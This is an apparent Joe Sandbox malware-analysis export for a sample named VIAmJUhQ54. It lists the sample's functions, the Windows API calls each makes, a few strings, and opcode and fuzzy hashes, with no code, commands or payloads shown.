Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c60b9fdd85303241d22a954fcf85cf415a747cbe776e6afbb4d2cd1e3ac200d
Instruction ID: ea4f7826b6a188d0cc2f615e21107dc4ef1d3e799420d5d4aebc4b972064325a
Opcode Fuzzy Hash: 3c60b9fdd85303241d22a954fcf85cf415a747cbe776e6afbb4d2cd1e3ac200d
Instruction Fuzzy Hash: 997107709053E48FEF26CF24E4897697BD0FB55304F08896EE8858B262E77CD985CB52

Function 00742957 Relevance: 1.6, APIs: 1, Instructions: 135COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 00742A0B

Part of subcall function 00747C0E: __getptd_noexit.LIBCMT ref: 00747C0E

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __flush__getptd_noexit
String ID:
API String ID: 4101623367-0
Opcode ID: ba1b573b9a1c5d238bdcc52ef1885e10968c5b94d85714b9232a10917baff8d1
Instruction ID: 3888f6149223a75362db4ff27bfb5fd770ce382d99278c96b81ae49e728894d5
Opcode Fuzzy Hash: ba1b573b9a1c5d238bdcc52ef1885e10968c5b94d85714b9232a10917baff8d1
Instruction Fuzzy Hash: AC41C670700706DFDB288E69C8805AE7BA6AF45360F64C52DFC45D7242EB78ED628B40

Function 0073ED18 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 0073EDC7

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 504a8081ed536da6f08b2c4e0dd6e7750ab2cf4a19c9f8f865f504b90b47efa6
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 7631D2B0B101059BE718DF18C480A69FBA6FF49340F6486A5E44ADB396DB35EDC1CBC0

Function 00799A75 Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00799A80

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: abe6e99fb818d76f7e895aece3a37ad59fb3ab0a0ff33c130130e6ccf5f0270a
Instruction ID: db8b90645a587e38626ebb633b9cfc609a429c64ce9a2a3e5d5d31b8dcebf831
Opcode Fuzzy Hash: abe6e99fb818d76f7e895aece3a37ad59fb3ab0a0ff33c130130e6ccf5f0270a
Instruction Fuzzy Hash: 3F415E70504651CFEB24CF18D454B1ABBE0BF45344F1989ACE99A4B362C77AF845CF92

Function 0074ED06 Relevance: 1.6, APIs: 1, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __getptd_noexit
String ID:
API String ID: 3074181302-0
Opcode ID: 5831eb6dce8887a6693f01f91c2f421a4cff3cfcea7a0ab58962acbc8a857700
Instruction ID: 43f9274ba36612d6424b7a56733ce4d8d22132a48010eecc4678e797d2446c42
Opcode Fuzzy Hash: 5831eb6dce8887a6693f01f91c2f421a4cff3cfcea7a0ab58962acbc8a857700
Instruction Fuzzy Hash: CE216FB2D05650DBD7267FA8CC897583661BF82336F264640E4714F1E2DBBC8C00CBA5

Function 007241A9 Relevance: 1.6, APIs: 1, Instructions: 63libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00724214: FreeLibrary.KERNEL32(00000000,?), ref: 00724247

LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,007239FE,?,00000001), ref: 007241DB

Part of subcall function 00724291: FreeLibrary.KERNEL32(00000000), ref: 007242C4

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Library$Free$Load
String ID:
API String ID: 2391024519-0
Opcode ID: 8b2eca1abb4064720663722069ed2f7fff8d81ec6fe5b2276758393e80a8bba2
Instruction ID: 754cf1711d0d50ffbd91e936df7cab661b2ecd28c7c567698fe611a25022f800
Opcode Fuzzy Hash: 8b2eca1abb4064720663722069ed2f7fff8d81ec6fe5b2276758393e80a8bba2
Instruction Fuzzy Hash: 0611A331610226EADF14BB75EC0AFAE77E9AF40700F108429F596AA1C1DB78DA459B60

Function 00799B45 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00799B51

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 390a18996ebf01102e84af161fcb56429f6d101cdf13689bd02ce2a36c90bd95
Instruction ID: 51c5d5d3d7418bceb8bf24640b691b268c9027aa76dde70babb6ada80be6b3da
Opcode Fuzzy Hash: 390a18996ebf01102e84af161fcb56429f6d101cdf13689bd02ce2a36c90bd95
Instruction Fuzzy Hash: A72125B0508601CFEB24DF68D458B1ABBE1BF84344F144968F99A4B622D73AE855CF92

Function 0074AF61 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

___lock_fhandle.LIBCMT ref: 0074AFC0

Part of subcall function 00747BDA: __getptd_noexit.LIBCMT ref: 00747BDA

Part of subcall function 00747C0E: __getptd_noexit.LIBCMT ref: 00747C0E

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __getptd_noexit$___lock_fhandle
String ID:
API String ID: 1144279405-0
Opcode ID: e989b77761c58c61c3c024a84d5014f36efbd94277432197084246e2514afe37
Instruction ID: 424c651b8c15b8462da830a7420d860a3f63b068f6f593ed26e32c7dfc1d9ae5
Opcode Fuzzy Hash: e989b77761c58c61c3c024a84d5014f36efbd94277432197084246e2514afe37
Instruction Fuzzy Hash: A611BFB2805650DBD7167FA4888A75A3A60AF82332F264640E4305F1F3D7BCCD00DBA2

Function 007239DB Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: daa29a418462963be006df0018d3ea545f1b1bfa4cb5ec5a6529a35093eb270d
Instruction ID: 14811ac61a3a19635c96e12bb3b855c388a4525b8c3b7c134c67697b5232a991
Opcode Fuzzy Hash: daa29a418462963be006df0018d3ea545f1b1bfa4cb5ec5a6529a35093eb270d
Instruction Fuzzy Hash: B201813140011DEECF05EFA4D8828FEBBB5EF20304F008069B562971A6EA349A49CB60

Function 00742AAE Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00742AED

Part of subcall function 00747C0E: __getptd_noexit.LIBCMT ref: 00747C0E

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: eb37c02d813ad90aa20ba9c7917e0bb08ba6e4473b0ac6c68efe82adb945a1d3
Instruction ID: 173334e032a00ed31e782acf57397da4e18f17bd9d134a79e9670635036d4864
Opcode Fuzzy Hash: eb37c02d813ad90aa20ba9c7917e0bb08ba6e4473b0ac6c68efe82adb945a1d3
Instruction Fuzzy Hash: 6DF0CD71A40205EADF21AFB48C0A79F3AA5BF00320F558455FC109A192D77C8A63DB52

Function 00724252 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,?,?,007239FE,?,00000001), ref: 00724286

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 7e21bb8fa034c6853caea7e784977e6808395ede37d22602867cc2c7a47a4e72
Instruction ID: ee9abc63d168c50b24d72e71a27ae90032c13cf7e04436531b5aeae3837a4b7c
Opcode Fuzzy Hash: 7e21bb8fa034c6853caea7e784977e6808395ede37d22602867cc2c7a47a4e72
Instruction Fuzzy Hash: 9BF03971505722DFCB349F66E894826BBE4FF043253248A3EF1D682610C77A9840DF50

Function 007240A7 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 007240C6

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 41bedcf4e5356094970666efbf356a385278e73286c56209ba03ccea85f3273f
Instruction ID: 530103913adb2b243732eb7d8d414d2b960ba986aeafc7b11c8b9329896f6ab3
Opcode Fuzzy Hash: 41bedcf4e5356094970666efbf356a385278e73286c56209ba03ccea85f3273f
Instruction Fuzzy Hash: A1E0CD375001245BC7119654DC46FEA77ADDFCC690F054075F905D7244DA689D818690

Function 0076BCF4 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 0076BD16

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 3cca4198d2bc13ecada8dba30311a83a0df564d107d747b73ddd6f796e1577fd
Instruction ID: 4bf116c9da1123e717e99b2176e2971989b8e823aac3b28c08729820f46df1cf
Opcode Fuzzy Hash: 3cca4198d2bc13ecada8dba30311a83a0df564d107d747b73ddd6f796e1577fd
Instruction Fuzzy Hash: B7E092B0204B009BDB348A24D800BE373E0EB06305F00081CF69BC7241EB6278818659

Function 00F05FE4 Relevance: 1.3, APIs: 1, Instructions: 21sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 00F05FF9

Memory Dump Source

Source File: 00000001.00000002.1289125454.0000000000F03000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F03000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f03000_VIAmJUhQ54.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction ID: 4076f7ceaeb9c62b0445caaea913b59879f51075c0d9f6ca418fd589afcf0617
Opcode Fuzzy Hash: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction Fuzzy Hash: 05E0BF7498010DEFDB10DFA4D5496DD7BB4EF04301F1005A1FD05D7690DB309E649A62

Function 00F05FE8 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 00F05FF9

Memory Dump Source

Source File: 00000001.00000002.1289125454.0000000000F03000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F03000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f03000_VIAmJUhQ54.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: cdee2a6ca5ed9554d04a6ac0b809e1f9bf3455a10ea463cc0bd20029504f36ab
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: DBE0E67498010DDFDB00DFB4D54969D7BF4EF04301F100161FD01D2280D6309D609A72

Non-executed Functions

Function 0078F7FF Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 630windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 0073B34E: GetWindowLongW.USER32(?,000000EB), ref: 0073B35F

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?,?), ref: 0078F87D
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0078F8DC
GetWindowLongW.USER32(?,000000F0), ref: 0078F919
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0078F940
SendMessageW.USER32 ref: 0078F966
_wcsncpy.LIBCMT ref: 0078F9D2
GetKeyState.USER32(00000011), ref: 0078F9F3
GetKeyState.USER32(00000009), ref: 0078FA00
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0078FA16
GetKeyState.USER32(00000010), ref: 0078FA20
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0078FA4F
SendMessageW.USER32 ref: 0078FA72
SendMessageW.USER32(?,00001030,?,0078E059), ref: 0078FB6F
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?,?), ref: 0078FB85
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0078FB96
SetCapture.USER32(?), ref: 0078FB9F
ClientToScreen.USER32(?,?), ref: 0078FC03
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0078FC0F
InvalidateRect.USER32(?,00000000,00000001,?,?,?,?), ref: 0078FC29
ReleaseCapture.USER32 ref: 0078FC34
GetCursorPos.USER32(?), ref: 0078FC69
ScreenToClient.USER32(?,?), ref: 0078FC76
SendMessageW.USER32(?,00001012,00000000,?), ref: 0078FCD8
SendMessageW.USER32 ref: 0078FD02
SendMessageW.USER32(?,00001111,00000000,?), ref: 0078FD41
SendMessageW.USER32 ref: 0078FD6C
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0078FD84
SendMessageW.USER32(?,0000110B,00000009,?), ref: 0078FD8F
GetCursorPos.USER32(?), ref: 0078FDB0
ScreenToClient.USER32(?,?), ref: 0078FDBD
GetParent.USER32(?), ref: 0078FDD9
SendMessageW.USER32(?,00001012,00000000,?), ref: 0078FE3F
SendMessageW.USER32 ref: 0078FE6F
ClientToScreen.USER32(?,?), ref: 0078FEC5
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0078FEF1
SendMessageW.USER32(?,00001111,00000000,?), ref: 0078FF19
SendMessageW.USER32 ref: 0078FF3C
ClientToScreen.USER32(?,?), ref: 0078FF86
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0078FFB6
GetWindowLongW.USER32(?,000000F0), ref: 0079004B

Strings

F, xrefs: 0078FF42
@GUI_DRAGID, xrefs: 0078FBCC

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend$ClientScreen$Image$CursorDragList_LongStateWindow$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 2516578528-4164748364
Opcode ID: 40b2246e4e45dc95285c0478b1c31049e4e0bef366c63662da6380f69dcacef1
Instruction ID: 461bd1796fcc019c73931f7dc2cf458c016554d70914e4feed81529363fa1735
Opcode Fuzzy Hash: 40b2246e4e45dc95285c0478b1c31049e4e0bef366c63662da6380f69dcacef1
Instruction Fuzzy Hash: 4132DD70644344EFDB20EF68C884BAABBA8FF49354F144629F695872B1C739EC51CB52

Function 0078AACE Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 574windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000400,00000000,00000000), ref: 0078B1CD

Strings

%d/%02d/%02d, xrefs: 0078AEFC

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend
String ID: %d/%02d/%02d
API String ID: 3850602802-328681919
Opcode ID: ba75cbe6ed842b2128477a385ca8c9a78cf766b9df9b35f816c7ff84835660c3
Instruction ID: a990741b42f194c8905e34cffbc1ecb303ea336fd988a91120affaac2f4a03fc
Opcode Fuzzy Hash: ba75cbe6ed842b2128477a385ca8c9a78cf766b9df9b35f816c7ff84835660c3
Instruction Fuzzy Hash: 5812F471940208ABEB25AF64CC4DFAE7BB8FF85310F14811AF916DB2D1DB789901CB61

Function 0073EB42 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000), ref: 0073EB4A
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00793AEA
IsIconic.USER32(000000FF), ref: 00793AF3
ShowWindow.USER32(000000FF,00000009), ref: 00793B00
SetForegroundWindow.USER32(000000FF), ref: 00793B0A
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00793B20
GetCurrentThreadId.KERNEL32 ref: 00793B27
GetWindowThreadProcessId.USER32(000000FF,00000000), ref: 00793B33
AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00793B44
AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00793B4C
AttachThreadInput.USER32(00000000,?,00000001), ref: 00793B54
SetForegroundWindow.USER32(000000FF), ref: 00793B57
MapVirtualKeyW.USER32(00000012,00000000), ref: 00793B6C
keybd_event.USER32(00000012,00000000), ref: 00793B77
MapVirtualKeyW.USER32(00000012,00000000), ref: 00793B81
keybd_event.USER32(00000012,00000000), ref: 00793B86
MapVirtualKeyW.USER32(00000012,00000000), ref: 00793B8F
keybd_event.USER32(00000012,00000000), ref: 00793B94
MapVirtualKeyW.USER32(00000012,00000000), ref: 00793B9E
keybd_event.USER32(00000012,00000000), ref: 00793BA3
SetForegroundWindow.USER32(000000FF), ref: 00793BA6
AttachThreadInput.USER32(000000FF,?,00000000), ref: 00793BCD

Strings

Shell_TrayWnd, xrefs: 00793AE5

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: ecdad7ca6efe631e0dfa6db835c7d50a780c5a87338b80fd4ce6b7ff4ea95a9f
Instruction ID: d9bc6c5c1c26cf3238f6927d9ccad52a427ad4c89c106b279021d325801144ba
Opcode Fuzzy Hash: ecdad7ca6efe631e0dfa6db835c7d50a780c5a87338b80fd4ce6b7ff4ea95a9f
Instruction Fuzzy Hash: B031A6B1A403187BEF305B659C49F7F7E6CEB85B50F108015FA06EA1D0D6B85D10AAB4

Function 007660DD Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 174filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00766EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00765FA6,?), ref: 00766ED8

Part of subcall function 00766EBB: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00765FA6,?), ref: 00766EF1

Part of subcall function 0076725E: __wsplitpath.LIBCMT ref: 0076727B
Part of subcall function 0076725E: __wsplitpath.LIBCMT ref: 0076728E

Part of subcall function 007672CB: GetFileAttributesW.KERNEL32(?,00766019), ref: 007672CC

_wcscat.LIBCMT ref: 00766149
_wcscat.LIBCMT ref: 00766167
__wsplitpath.LIBCMT ref: 0076618E
FindFirstFileW.KERNEL32(?,?), ref: 007661A4
_wcscpy.LIBCMT ref: 00766209
_wcscat.LIBCMT ref: 0076621C
_wcscat.LIBCMT ref: 0076622F
lstrcmpiW.KERNEL32(?,?), ref: 0076625D
DeleteFileW.KERNEL32(?), ref: 0076626E
MoveFileW.KERNEL32(?,?), ref: 00766289
MoveFileW.KERNEL32(?,?), ref: 00766298
CopyFileW.KERNEL32(?,?,00000000), ref: 007662AD
DeleteFileW.KERNEL32(?), ref: 007662BE
FindNextFileW.KERNEL32(00000000,00000010), ref: 007662E1
